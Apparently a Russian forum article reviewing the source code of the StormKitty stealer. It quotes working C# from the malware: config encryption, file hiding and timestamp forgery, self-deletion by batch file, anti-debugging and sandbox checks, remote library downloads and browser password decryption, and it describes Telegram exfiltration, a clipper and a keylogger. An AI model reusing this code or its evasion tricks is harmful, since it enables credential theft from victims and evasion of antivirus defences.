Первый поток отвечает за сбор файлов, расширения которых указаны в конфигурации стаба. Эти файлы просто копируются с рабочего стола пользователя, с папок «Мои Документы», «Мои Картинки», «Загрузки», а так же из папок облачных хранилищ OneDrive и DropBox. Реализация этого функционала находится в классе «FileGrabber» и особого интереса не представляет, это просто поиск и копирование файлов.
Второй поток собирает пароли и другую ценную информацию из браузеров Chrome и Edge. Давайте рассмотрим реализацию более подробно. В браузерах на базе Chromium существует два вида хранения зашифрованной информации, в частности паролей. До 80ой версии Chromium ценная информация просто накрывалась локальным шифрованием с помощью DPAPI. С 80ой версии в Chromium (и многих других браузерах на его базе) стал использоваться мастер ключ (зашифрованный с помощью DPAPI), на котором затем шифровались и дешифровались данные с помощью немного хитрой версии AES — в режиме GCM (Galois/Counter Mode или же счётчик с аутентификацией Галуа), сейчас этот режим очень широко применяется в программном обеспечении и считается весьма эффективным. Для того, чтобы отличать два режима зашифрованных данных в браузерах на базе Chromium используется префиксы к зашифрованным бинарным данным. В общем случае префикс «v10» и «v11» означает, что для конкретно этих шифр-данных использовался мастер ключ и AES в режиме GCM. А его отсутствие (заголовок DPAPI) означает, что использовался старый метод — простое, как 5 копеек, использование DPAPI. Реализация дешифрования DPAPI и получение мастер ключа находится в классе «Chromium.Crypto». Стоит заметить, что использовать для этих целей нативную функцию «CryptUnprotectData» в .NET не имеет особого смысла, так как во фреймворке есть готовый статический метод «ProtectedData.Unprotect». Как будет видно далее, наш Владимир из Украины знал об этом методе, но по какой-то причине не стал его тут использовать (кхе-кхе, копипастер сраный, кхе-кхе). Мастер ключ хранится в файле «Local State» и достаётся из него с помощью регулярных выражений (изначально этот файл имеет формат JSON). AES в режиме GCM реализован с помощью встроенной в операционную систему библиотеки «bcrypt.dll» (реализацию можно найти в файлах «AesGcm.cs» и «Bcrypt.cs»), описание отдельных функций и структур этой библиотеки можно найти на MSDN (описывать их в статье пришлось бы очень долго). Вся ценная для стилера информация хранится либо в файлах формата SQLite, либо в файлах формата JSON и может хранится либо в открытом, либо в зашифрованном виде в зависимости от того, какая эта информация конкретно. Использовать готовый JSON парсер или написать свой мини-парсер для JSON (ей богу, парсить JSON очень просто) автор стилера не удосужился, поэтому парсит всё через регулярные выражения, что вполне можно признать говнокодом. Парсер для SQLite, судя по всему, был на скорую руку портирован из VB.NET (на C# явно так не пишут, я вроде видел реализации на VB.NET в каком-то публичном ратнике, наверно он взят оттуда) и выглядит просто ужасно, но, вероятно, работает более менее нормально. Для полноты картины осталось только взглянуть, откуда берётся какая информация и какими методами в коде стаба (весь функционал связанный с «хромым» находится в подпапке проекта «Targets\Browsers\Chromium»).
C#:Скопировать в буфер обмена
List<CreditCard> pCreditCards = CreditCards.Get(sProfile + "\\Web Data");
List<Password> pPasswords = Passwords.Get(sProfile + "\\Login Data");
List<Cookie> pCookies = Cookies.Get(sProfile + "\\Cookies");
List<Site> pHistory = History.Get(sProfile + "\\History");
List<Site> pDownloads = Downloads.Get(sProfile + "\\History");
List<AutoFill> pAutoFill = Autofill.Get(sProfile + "\\Web Data");
List<Bookmark> pBookmarks = Bookmarks.Get(sProfile + "\\Bookmarks");
Третий поток добывает полезную информацию из браузера Firefox. В «лисе» пароли зашифрованы довольно хитрым алгоритмом, который они (разработчики «лисы») называют PK11SDR. С наскока его не особо то и реализуешь, поэтому разработчики многих стилеров просто используют экспортируемую из библиотеки самой «лисы» «nss3.dll» функцию с именем «PK11SDR_Decrypt». Для этого нужно найти путь, куда установлена «лиса», и загрузить оттуда библиотеку «mozglue.dll» (так как библиотека «nss3.dll» от неё зависит), а затем и саму библиотеку «nss3.dll». Прежде чем мы перейдём к тому, как вызывать эту функцию, нужно понять преимущества и недостатки этого метода. Безусловно то, что эта библиотека всегда есть вместе с установленной «лисой», это — хорошо, и нам нет необходимости реализовывать комплексный алгоритм самим или таскать с собой большую библиотеку для расшифровки. Однако стоит обратить внимание, что релизная версия стаба собирается в режиме x64 (не x86 и не AnyCPU), то есть стаб будет запускаться, как 64-битный процесс. В том случае, если на компьютере жертвы будет установлена 32-битная версия «лисы», 64-битный процесс стаба просто не сможет загрузить эти необходимые для расшифровки динамические библиотеки. И это — довольно жирный минус. Плюс ко всему вполне вероятно, что для некоторых антивирусов попытка рандомного процесса загружать динамические библиотеки из папки «лисы» будет считаться заведомо вредоносным поведением (но это конечно нужно проверять). Экспортируемая функция «PK11SDR_Decrypt» принимает на вход шифр-данные и возвращает открытые данные в виде указателей на структуры типа TSECItem (в дотнете вполне для передачи указателя на структуру можно воспользоваться модификатором «ref»), которые в свою очередь содержат указатель на буферы с данными и размеры этих буферов. Код дешифрования паролей реализован в файле «Decryptor.cs» и довольно прост. Разве что вызывать эти функции можно было бы и простым PInvoke после того, как библиотека «nss3.dll» была загружена в процесс, чтобы не морочиться с указателями и делегатами. PInvoke сделает ровно тоже самое, но автор проекта вероятно об этом просто не знал. Аналогично с «хромым» ценная информация добывается из файлов профиля пользователя, которые могут быть либо в формате SQLite, либо JSON в зависимости от конкретной информации. Давайте рассмотрим, в каких классах реализовано получение какой информации из следующего фрагмента кода (весь функционал связанный с «лисой» находится в подпапке проекта «Targets\Browsers\Firefox»).
C#:Скопировать в буфер обмена
List<Bookmark> bookmarks = Firefox.cBookmarks.Get(browser); // Read all Firefox bookmarks
List<Cookie> cookies = Firefox.cCookies.Get(browser); // Read all Firefox cookies
List<Site> history = Firefox.cHistory.Get(browser); // Read all Firefox history
List<Password> passwords = Firefox.cPasswords.Get(browser); // Read all Firefox passwords
Периодически в нашем уютненьком комьюнити в хорошем или же плохом ключе упоминается «Штормовой Котёнок» (он же «StormKitty»). То его какой-то горе программер или барыга соберёт под новым именем и продаёт за целое состояние. Это все сопровождается некоторым количеством срача на форуме, обсуждения смыслов кулхацкерских жизней, старпёрского брюзжания о том, что раньше было лучше и так далее. Поэтому эту нашу серию статей я решил начать именно со «Штормового Котёночка». Тем более, что написан он на языке C#, что должно немного упрощать понимание исходного кода неофитами (когда не нужно особо отвлекаться на управление памятью и дескрипторами, как в С++ например, в С# за нас это делает сборщик мусора).
Давайте начнём с того, что такое этот «Штормовой Котёнок». Это — классический стилер (stealer) с открытыми исходными кодами, размещённый на Github под чуть ли ни самой либеральной лицензией — «MIT» (хотя кого тут в принципе волнуют оупенсорсные лицензии, правда же). Сейчас автор перевёл его в архив, то есть скорее всего дальше проект не будет развиваться. Функционал проекта в общем то, как у самого обычного стилера, работает с браузерами на базе Chromium, с Firefox, с «Ослом» (Internet Explorer) и Edge, собирает файлы определённых расширений, файлы сессий нескольких разных программ, аккаунты из Outlook и Pidgin, может обеспечивать себе автозапуск самым примитивным способом, должен отсылать логи на онлайн хостинг AnonFiles и в Телеграм, ну и так далее и тому подобное. Скачать весь проект все ещё можно отсюда: https://github.com/LimerBoy/StormKitty Скачайте исходники и разархивируйте их, чтобы параллельно с чтением статьи вы могли бы смотреть исходный код, так будет понятнее скорее всего.
Прежде чем, мы перейдём к обсуждению непосредственно кода проекта, нужно сделать небольшое лирическое отступление о наличии малвари в репозитории. Дело в том, что в папке с проектом лежит бинарная зависимость в виде файла «AnonFileApi.dll». Автор три раза менял эту библиотеку, но хитрый Github всё помнит, так что при желании можно достать любую из трёх версий. Вложенная в эту бинарную зависимость малварь особого интереса не представляет, но в качестве упражнения вы можете её потыкать. Интересно другое: выложить на Github исходники какой-то малвари для образовательных целей формально нарушением закона не является.
Теперь давайте переходить к архитектуре проекта. Весь проект разбит на два подпроекта: «builder» (программа сборщик для стилера, подготавливающий его к непосредственному использованию) и «stub» (собственно сам стилер, который будет запускаться на компьютере жертвы, доставать ценную информацию и отправлять её в Телеграм и отправлять на хостинг файлов AnonFiles). Для начала давайте рассмотрим проект «builder», чтобы понимать процесс создания исполняемого файла стаба, до того, как переходить собственно к коду стаба.
Сборщик представляет собой обычное консольное приложение, которое вшивает в стаб конфигурационные параметры, такие как идентификаторы Телеграмма, адреса кошельков для клипера, должен ли стаб прописывать себя в автозапуск или нет и другие, а так же обфусцирует стаб. Касательно конфигурации Телеграм сборщик проверит доступность API с указанными параметрами, что на самом деле кажется приятным проявлением заботы автора о своих пользователях (мол, если скрипткидис накосячил с идентификаторами API, он узнает об этом на этапе сборки проекта, а не далеко позже).
Непосредственно процесс вшивания конфигурационных данных описан в файле «build.cs», глобальная переменная «ConfigValues» получает значения, которые пользователь ввёл в консоль. Обратите внимание на один забавный факт: в качестве имени мьютекса для стаба используется MD5-хеш от имени пользователя и имени компьютера, где производилась сборка. Не то чтобы кому-то в целом мире понадобилось бы брутить этот хеш, чтобы узнать исходные значения имён компьютера и пользователя, но зачем это нужно было делать именно так — совсем непонятно. Вполне можно было бы просто сделать вызов метода «Guid.NewGuid» или взять хеш от каких-то менее значимых параметров системы.
C#:Скопировать в буфер обмена
public static Dictionary<string, string> ConfigValues = new Dictionary<string, string>
{
{ "Telegram API", "" },
{ "Telegram ID", "" },
{ "AntiAnalysis", "" },
{ "Startup", "" },
{ "Grabber", "" },
{ "Debug", "" },
{ "StartDelay", "" },
{ "ClipperBTC", "" },
{ "ClipperETH", "" },
{ "ClipperXMR", "" },
{ "ClipperXRP", "" },
{ "ClipperLTC", "" },
{ "ClipperBCH", "" },
{ "WebcamScreenshot", "" },
{ "Keylogger", "" },
{ "Clipper", "" },
{ "Mutex", crypt.CreateMD5($"{Environment.UserName}@{Environment.MachineName}") },
};
Некоторые конфигурационные строки зашифровываются с помощью AES и строго фиксированных значений соли и пароля. Ключи можно было бы генерировать на этапе сборки и аналогично строкам вшивать их в стаб. Хотя использование «Rfc2898DeriveBytes» немного улыбнуло, этот класс получает ключи из пароля и соли с помощью генератора псевдослучайных чисел из HMACSHA1, что по идее было бы хорошо, если пароль или хотя бы соль менялись бы от сборке к сборке. Реализацию этого шифрования можно найти в файле «crypt.cs». Странным решением является конвертация шифр-данных в BASE64 строки и добавление к этому всему префикса «CRYPTED:». Таким образом автору не приходится менять тип данных, когда он вшивает зашифрованные данные в стаб (строки заменяет строками), но выглядит это костылём, можно было бы придумать чего получше.
C#:Скопировать в буфер обмена
public static string EncryptConfig(string value)
{
byte[] encryptedBytes = null;
byte[] bytesToBeEncrypted = Encoding.UTF8.GetBytes(value);
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(cryptKey, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return "CRYPTED:" + Convert.ToBase64String(encryptedBytes);
}
Далее конфигурационные параметры вшиваются в стаб с помощью библиотеки «Mono.Cecil». Эта библиотека позволяет разбирать и модифицировать форматы структур .NET сборок и байт-кода (хотя на мой вкус библиотека «dnlib» куда проще и приятнее в программировании подобных вещей). Формально данный код просто проходит все методы всех классов во всех модулях стаба, находит в них инструкции дотнетовского байт-кода «LDSTR» (загрузка константной строки на стек) и заменяет операнд на строку из конфигурации в том случае, если исходная строка операнд начинается с «---». С точки зрения архитектуры стаба это решение кажется избыточным, наверное имело бы смысл держать всю конфигурацию для стаба в одном классе и проходить только по его методам, а не по всей дотнетовской сборке (конечно же Assembly имеется ввиду).
C#:Скопировать в буфер обмена
public static AssemblyDefinition IterValues(AssemblyDefinition definition)
{
foreach (ModuleDefinition definition2 in definition.Modules)
foreach (TypeDefinition definition3 in definition2.Types)
if (definition3.Name.Equals("Config"))
foreach (MethodDefinition definition4 in definition3.Methods)
if (definition4.IsConstructor && definition4.HasBody)
{
IEnumerator<Instruction> enumerator;
enumerator = definition4.Body.Instructions.GetEnumerator();
while (enumerator.MoveNext())
{
var current = enumerator.Current;
if (current.OpCode.Code == Code.Ldstr & current.Operand is object)
{
string str = current.Operand.ToString();
if (str.StartsWith("---") && str.EndsWith("---"))
current.Operand = ReplaceConfigParams(str);
}
}
}
return definition;
}
После зашивания конфигурационных значений в байт-код стаба, сам стаб отправляется на обфускацию с помощью изъезженного вдоль и поперек разными малварищиками бесплатного обфускатора с открытыми исходными кодами — «ConfuserEx» (одна птичка мне напела, что изъезженного до такой степени, что Антивирус Касперского в принципе считает .NET исполняемые файлы, накрытые «ConfuserEx», как подозрительные). Было бы конечно получше, если бы автор «Штормового Котёнка» удосужился перенаправить вывод от процесса «ConfuserEx» в своё консольное окно (ну чтобы понимать, что конкретно пошло не так, если обфускация провалилась), но имеем то, что имеем (реализация находится в файле «obfuscation.cs» и особого интереса не представляет). Кроме того сборщик может добавить иконку обфусцированному исполняемому файлу, если это нужно (реализовано в файле «icon.cs»). Для добавления иконки используются WinAPI функции для работы с ресурсами PE-файлов, который можно найти в официальных мануалах от «мелкомягких» (Microsoft же, ага, MSDN там всякий). На этом предлагаю закончить копаться в сборщике стаба и перейти к самому интересному — коду самого стаба.
С точки зрения архитектуры проекта стаб представляет собой главный файл «program.cs» и набор модулей, более менее нормально сгруппированных по папкам и подпапкам. Давайте начнём рассматривать стаб с точки входа (статическая функция «Main» класса «Program»), чтобы в последствии было проще понять, как отдельные модули взаимодействуют друг с другом (по сути дела никак, но всё же). Не переживайте мы рассмотрим некоторые интересные модули отдельно чуть попозже.
В самом начале функции Main написана небольшая дотнетовская магия, которую автор проекта любезно отделил для нас комментарием «SSL сучка». Это указание некоторых параметров класса помогающего дотнету осуществлять HTTPS запросы с использованием SSL/TLS. Об этих параметрах можно прочитать на MSDN, но отдельно я хотел бы остановиться на магическом числе 3072 и почему оно такое, какое оно есть. Сам проект стаба собирается под дотнет версии 4.0, который (страшно подумать) был выпущен в бородатом 2010ом году. Так вот в этом бородатом 2010ом году в дотнете, да и в операционных системах семейства Windows, никто ещё и не думал использовать TLS версии 1.2 (хотя эта версия протокола вышла чуть раньше — в 2008ом году, поправьте, если я ошибся в датах того времени, когда динозавры были большими). Поэтому в перечислении «SecurityProtocolType» в дотнет фреймворке 4.0 нет соответствующего TLS 1.2 значения (оно появится только в дотнет фреймворке 4.5, если мне не изменяет память). Численное значение этого сравнительно нового значения перечисления — 3072, то есть автор кода устанавливает это значение в надежде, что стаб все же окажется на современной системе с установленным фреймворков 4.5 или с установленной на уровне системы поддержкой TLS 1.2. Честно говоря, я не в курсе, будет ли выброшено исключение, если такой поддержки нет, или просто будет использован протокол по умолчанию, напишите в комментариях, если знаете точно.
C#:Скопировать в буфер обмена
// SSL сучка
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.DefaultConnectionLimit = 9999;
Далее по коду происходит классическая для малвари защита от повторного запуска, опытным программистам и реверсерам тут должно быть всё понятно, но для неофитов можно немного пояснить. Смысл в том, что создаётся глобальный именованный мьютекс (примитив операционной системы для синхронизации процессов). Конструктор мьютекса в дотнете возвращает информацию о том, был ли мьютекс создан или уже существовал до этого и был открыт. Соответственно, если стаб был запущен несколько раз, то первый его процесс создаст мьютекс и будет работать, а глобальный именованный мьютекс будет существовать до завершения этого процесса. А все последующие процессы «увидят», что мьютекс уже существуют и выйдут. Понятно, что наличие дополнительного глобального именованного мьютекса в системе может выдавать запущенную на системе малварь (если знать, какое имя мьютекса соответствует малвари), но данный стилер и так в отдельном процессе запускается, так что не суть важно.
C#:Скопировать в буфер обмена
internal sealed class MutexControl
{
// Prevent the program from running twice
public static void Check()
{
bool createdNew = false;
Mutex currentApp = new Mutex(false, Config.Mutex, out createdNew);
if (!createdNew)
Environment.Exit(1);
}
}
Затем стаб проверяет, лежит ли исполняемый файл в специальной скрытой самом банальным способом директории, предварительно создав её, если эта директория отсутствовала. Если же исполняемый файл стаба лежит вне этой директории, то файл скрывается аналогичным образом, а именно с помощью выставления аттрибута «hidden» для файла (реализовано в классе «Implant.Startup»). Конечно, ни о каких хитровыдуманных способах сокрытия файла речи тут не идёт, а делать это именно таким образом в 2020 году нужно разве что для галочки и одного дополнительного пункта в списке фич стилера в теме о его продаже, ну вы понимаете. Да и ходят слухи, что некоторые антивирусы находят подозрительным то поведение, в ходе которого исполняемый файл сам себе проставляет аттрибут «hidden», что ну совсем ни разу не удивительно. Ну что уж теперь, едем дальше.
C#:Скопировать в буфер обмена
// Change file creation date
public static void SetFileCreationDate(string path = null)
{
string filename = path;
if (path == null) filename = ExecutablePath;
// Log
Logging.Log("SetFileCreationDate : Changing file " + filename + " creation data");
DateTime time = new DateTime(
DateTime.Now.Year - 2, 5, 22, 3, 16, 28);
File.SetCreationTime(filename, time);
File.SetLastWriteTime(filename, time);
File.SetLastAccessTime(filename, time);
}
// Hide executable
public static void HideFile(string path = null)
{
string filename = path;
if (path == null) filename = ExecutablePath;
// Log
Logging.Log("HideFile : Adding 'hidden' attribute to file " + filename);
new FileInfo(filename).Attributes |= FileAttributes.Hidden;
}
После этого стаб проверяет, прописаны ли в его конфигурации параметры для API Телеграмма. В случае их отсутствия происходит самоудаление. Само собой, разве может быть иначе, самоудаление реализовано по классической для малвари костыльной схеме — через создание и запуск батника. Я очень не люблю этот способ, но почему то вижу его просто повсеместно в любой малварке. Но все же сравнительно приятным бонусом этого кода является вызов «chcp 65001» в начале батника (установка кодировки в UTF-8). Это сделано потому, что пути к файлам могут содержать локализованные символы (кириллицу там, например), а метод «File.AppendText» открывает файл на запись текста в кодировке именно UTF-8. Многие авторы малвари об этом не задумываются, а тут наш Владимир из Украины показал, что умеет обращать внимание на детали (жаль, что это происходит далеко не всегда).
C#:Скопировать в буфер обмена
public static void Melt()
{
// Paths
string batch = Path.GetTempFileName() + ".bat";
string path = System.Reflection.Assembly.GetExecutingAssembly().Location;
string dll1 = Path.Combine(Path.GetDirectoryName(path), "DotNetZip.dll");
string dll2 = Path.Combine(Path.GetDirectoryName(path), "AnonFileApi.dll");
int currentPid = Process.GetCurrentProcess().Id;
// Write batch
using (StreamWriter sw = File.AppendText(batch))
{
sw.WriteLine("chcp 65001");
sw.WriteLine("TaskKill /F /IM " + currentPid);
sw.WriteLine("Timeout /T 2 /Nobreak");
sw.WriteLine($"Del /ah \"{path}\" & Del /ah \"{dll1}\" & Del /ah \"{dll2}\"");
}
// Log
Logging.Log("SelfDestruct : Running self destruct procedure...");
// Start
Process.Start(new ProcessStartInfo()
{
FileName = "cmd.exe",
Arguments = "/C " + batch,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
// Wait for exit
System.Threading.Thread.Sleep(5000);
System.Environment.FailFast(null);
}
Далее в зависимости от конфигурации стаб делает или не делает рандомную паузу (от нуля до десяти секунд). Назначение этого кода не особо понятна в глобальном плане, напишите в комментарии ваши идеи по этому поводу. Реализация самой паузы хранится в классе «Implant.StartDelay».
C#:Скопировать в буфер обмена
internal sealed class StartDelay
{
// Sleep min, sleep max
private static readonly int SleepMin = 0;
private static readonly int SleepMax = 10;
// Sleep
public static void Run()
{
int SleepTime = new Random().Next(
SleepMin * 1000,
SleepMax * 1000
);
Logging.Log("StartDelay : Sleeping " + SleepTime);
System.Threading.Thread.Sleep(SleepTime);
}
}
Затем стаб применяет набор методов для противодействия анализу, в том случае, если факт анализа будет установлен стабом, он выведет подложное (от слова «ложь» а не от слова «ложить») сообщение об ошибке и вызовет код для самоудаления, который мы рассмотрели ранее. Набор методов противодействия анализу довольно стандартный и опять же сделан в основном для галочки. Есть поиск подключённого к процессу стаба отладчика с помощью функции «CheckRemoteDebuggerPresent» (это довольно легко обходится, в отладчике dnSpy есть соответствующий код). Есть попытка определить исполнение внутри эмулятора за счёт функции «Sleep». Смысл этого метода в том, что подавляющее большинство эмуляторов пропускают все вызовы «Sleep», и типа внутреннее значение времени внутри эмулятора при этом не изменяется, поэтому можно проспать 10 миллисекунд и проверить, действительно ли прошло минимум 10 миллисекунд. Эта методика возможно и работала N-лет назад, когда эмуляторы были тупыми и не учитывали «Sleep» в своих внутренних часах, но в 2020 году это вряд ли как-то поможет, скорее может быть сигнатурой для антивируса. Так же есть проверка HTTP-запросом (для определения запуска на VirusTotal, AnyRun и так далее), проверка на наличие внутри процесса стаба динамических библиотек различных сэндбоксов, проверка на наличие некоторых запущенных процессов для динамического анализа малвари и проверка на запуск внутри виртуальной инфраструктуры. Для более менее опытного реверсера все эти проверки особых проблем не должны вызывать, а вот антивирусы с другой стороны могут отнестись к ним неравнодушно.
C#:Скопировать в буфер обмена
internal sealed class AntiAnalysis
{
// CheckRemoteDebuggerPresent (Detect debugger)
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
// GetModuleHandle (Detect SandBox)
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
/// <summary>
/// Returns true if the file is running in debugger; otherwise returns false
/// </summary>
public static bool Debugger()
{
bool isDebuggerPresent = false;
try
{
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
return isDebuggerPresent;
} catch { }
return isDebuggerPresent;
}
/// <summary>
/// Returns true if the file is running in emulator; otherwise returns false
/// </summary>
public static bool Emulator()
{
try
{
long ticks = DateTime.Now.Ticks;
System.Threading.Thread.Sleep(10);
if (DateTime.Now.Ticks - ticks < 10L)
return true;
}
catch { }
return false;
}
/// <summary>
/// Returns true if the file is running on the server (VirusTotal, AnyRun); otherwise returns false
/// </summary>
public static bool Hosting()
{
try
{
string status = new System.Net.WebClient()
.DownloadString(
StringsCrypt.Decrypt(new byte[] { 150, 74, 225, 199, 246, 42, 22, 12, 92, 2, 165, 125, 115, 20, 210, 212, 231, 87, 111, 21, 89, 98, 65, 247, 202, 71, 238, 24, 143, 201, 231, 207, 181, 18, 199, 100, 99, 153, 55, 114, 55, 39, 135, 191, 144, 26, 106, 93, }));
return status.Contains("true");
} catch { }
return false;
}
/// <summary>
/// Returns true if a process is started from the list; otherwise, returns false
/// </summary>
public static bool Processes()
{
Process[] running_process_list = Process.GetProcesses();
string[] selected_process_list = new string[] {
"processhacker",
"netstat", "netmon", "tcpview", "wireshark",
"filemon", "regmon", "cain"
};
foreach (Process process in running_process_list)
if (selected_process_list.Contains(process.ProcessName.ToLower()))
return true;
return false;
}
/// <summary>
/// Returns true if the file is running in sandbox; otherwise returns false
/// </summary>
public static bool SandBox()
{
string[] dlls = new string[5]
{
"SbieDll",
"SxIn",
"Sf2",
"snxhk",
"cmdvrt32"
};
foreach (string dll in dlls)
if (GetModuleHandle(dll + ".dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Returns true if the file is running in VirtualBox or VmWare; otherwise returns false
/// </summary>
public static bool VirtualBox()
{
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
try
{
using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get())
foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
if ((managementBaseObject["Manufacturer"].ToString().ToLower() == "microsoft corporation" &&
managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) ||
managementBaseObject["Manufacturer"].ToString().ToLower().Contains("vmware") ||
managementBaseObject["Model"].ToString() == "VirtualBox")
return true;
}
catch { }
foreach (ManagementBaseObject managementBaseObject2 in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get())
if (managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VMware")
&& managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VBox"))
return true;
return false;
}
/// <summary>
/// Detect virtual enviroment
/// </summary>
public static bool Run()
{
if (Config.AntiAnalysis == "1")
{
if (Hosting()) Logging.Log("AntiAnalysis : Hosting detected!", true);
if (Processes()) Logging.Log("AntiAnalysis : Process detected!", true);
if (VirtualBox()) Logging.Log("AntiAnalysis : Virtual machine detected!", true);
if (SandBox()) Logging.Log("AntiAnalysis : SandBox detected!", true);
//if (Emulator()) Logging.Log("AntiAnalysis : Emulator detected!", true);
if (Debugger()) Logging.Log("AntiAnalysis : Debugger detected!", true);
}
return false;
}
/// <summary>
/// Run fake error message and self destruct
/// </summary>
public static void FakeErrorMessage()
{
string code = StringsCrypt.GenerateRandomData("1");
code = "0x" + code.Substring(0, 5);
Logging.Log("Sending fake error message box with code: " + code);
MessageBox.Show("Exit code " + code, "Runtime error",
MessageBoxButtons.RetryCancel, MessageBoxIcon.Error);
SelfDestruct.Melt();
}
}
После этого стаб по какой-то причине устанавливает в текущую рабочую директорию значение своей рабочей папки (она была описана ранее). Это подозрительно попахивает говнокодом, так как в принципе в сфере разработки любого программного обеспечения работа по относительным путям является табу (ну или «строгим запретом». Это важный совет, который стоит уяснить неофитам: всегда работайте по абсолютным путям к файлам и каталогам.
C#:Скопировать в буфер обмена
// Change working directory to appdata
System.IO.Directory.SetCurrentDirectory(Paths.InitWorkDir());
Далее стаб выкачивает прямиком из Github аккаунта нашего Владимира из Украины две библиотеки: «DotNetZip» и «AnonFileApi» (ту самую со вложенной малварью мистера кулхацкера Владимира). Стаб на всякий случай пытается выкачать эти библиотеки по три раза, и в случае успеха проставляет этим библиотекам файловый аттрибут «hidden» и изменяет дату создания файла. Этот код конечно очень некрасиво написан (использование while вместо совершенно уместного в этом случае цикла for, проверка на существование файла аж четыре раза и так далее), вызывает некоторое кровотечение из глаз.
C#:Скопировать в буфер обмена
public static bool LoadRemoteLibrary(string library)
{
int i = 0;
string dll = Path.Combine(Path.GetDirectoryName(Startup.ExecutablePath), Path.GetFileName(new Uri(library).LocalPath));
while (i < 3)
{
i++;
if (!File.Exists(dll))
{
try
{
using (var client = new WebClient())
client.DownloadFile(library, dll);
}
catch (WebException)
{
Logging.Log("LibLoader: Failed to download library " + dll);
System.Threading.Thread.Sleep(2000);
continue;
}
Startup.HideFile(dll);
Startup.SetFileCreationDate(dll);
}
}
return File.Exists(dll);
}
Затем стаб дешифрует конфигурационные значения, которые были зашифрованы сборщиком (алгоритм шифрования был уже описан ранее), и проверяет валидность API токена Телеграмма. В случае, если токен не валиден, происходит самоудаление. Ну и после всех этих приготовлений происходит непосредственный сбор паролей и другой полезной информации, упаковка их в ZIP-архив, залив ZIP-архива на сервис AnonFiles и отправка ссылки для скачивания залитого файла в Телеграмм. Кроме того в след за ссылкой стаб должен отправить информацию о компьютере, с которого был собран только что высланный ZIP-архив. Сами алгоритмы всего этого особого интереса не представляют, да и описывать каждый из них очень долго. Отмечу только, что реализация этого всего находится в классах «Report.Telegram», «Filemanager» и «SystemInfo». Ну а некоторые алгоритмы сбора паролей и другой ценной информации мы рассмотрим отдельно (это же самое интересное в стилерах, да?).
C#:Скопировать в буфер обмена
// Decrypt config strings
Config.Init();
// Test telegram API token
if (!Telegram.Report.TokenIsValid())
Implant.SelfDestruct.Melt();
// Steal passwords
string passwords = Passwords.Save();
// Compress directory
string archive = Filemanager.CreateArchive(passwords);
// Send archive
Telegram.Report.SendReport(archive);
После выполнения основного функционала на предыдущем шаге у стаба есть два варианта развития событий: либо завершить исполнение и самоудалиться, либо (если включены клипер и/или кейлоггер) продолжить работу, запустив эти компоненты в отдельных потоках (опять же, если при сборке стаба в конфигурации они были включены). Основной поток же простаивает в ожидании завершения потоков клипера и кейлоггера.
C#:Скопировать в буфер обмена
// Run keylogger module
if (Config.KeyloggerModule == "1" && (Counter.BankingServices || Counter.Telegram) && Config.Autorun == "1")
{
Logging.Log("Starting keylogger modules...");
W_Thread = WindowManager.MainThread;
W_Thread.SetApartmentState(ApartmentState.STA);
W_Thread.Start();
}
// Run clipper module
if (Config.ClipperModule == "1" && Counter.CryptoServices && Config.Autorun == "1")
{
Logging.Log("Starting clipper modules...");
C_Thread = ClipboardManager.MainThread;
C_Thread.SetApartmentState(ApartmentState.STA);
C_Thread.Start();
}
// Wait threads
if (W_Thread != null) if (W_Thread.IsAlive) W_Thread.Join();
if (W_Thread != null) if (C_Thread.IsAlive) C_Thread.Join();
Архитектурно клипер сделан довольно нелепо по моему мнению, он разбит на несколько модулей, при каждом получении и установки значения буфера обмена почему-то создаётся отдельный поток, при этом можно было бы все делать в одном основном потоке. Для подмены содержимого буфера обмена используется поиск по регулярным выражениям, кроме того оригинальное содержимое буфера обмена логируется в файл. Проверка того, что в буфере обмена появилась новая строка, происходит раз в две секунды. Мне кажется, что все уже давно должны были научиться проверять идентификаторы своих криптовалютных кошельков, когда куда их копируют и вставляют. Клипер реализован несколькими классами из папки «Clipper» и главным управляющим классом «ClipboardManager».
Кейлоггер синхронный и реализован по классической для малвари схеме с использованием функции «SetWindowsHookEx». Для неофитов можно пояснить, что эта функция (когда вызвана с параметром WH_KEYBOARD_LL) устанавливает обработчик на системные события, связанные с клавиатурой, в частности нажатие клавиш. В принципе подобный код можно увидеть в абсолютно любом другом кейлоггере, да и придумывать здесь что-то новое вряд ли необходимо. Для получения конкретного символа из scan кода и virtual key кода используется функция «ToUnicodeEx», при том учитывается текущая раскладка, полученная с помощью функции «GetKeyboardLayout». Такой кейлоггер не сможет определить ввод некоторых хитрых символов (например, немецкого языка, которые требуют последовательного нажатия двух разных клавиш), но в принципе должен выполнять свою функцию исправно. Забавной фичей модуля кейлоггера является поиск открытых вкладок браузера с порно сайтами. Если открыт такой сайт модуль кейлоггера пытается сделать скриншот экрана и снимок веб-камерой. Сразу вспоминаются те самые письма с угрозами об этом, которые массово рассылали по почте всем подряд некоторое время назад. Наличие этого функционала именно в модуле кейлоггера кажется таким бредом, но имеем то, что имеем. Снимок экрана реализован с помощью .NET классов, а снимок веб-камерой — с помощью функций из системной библиотеки «avicap32.dll». Почти уверен, что примерно похожий код вы найдёте по первой ссылке на StackOverflow в поисковых 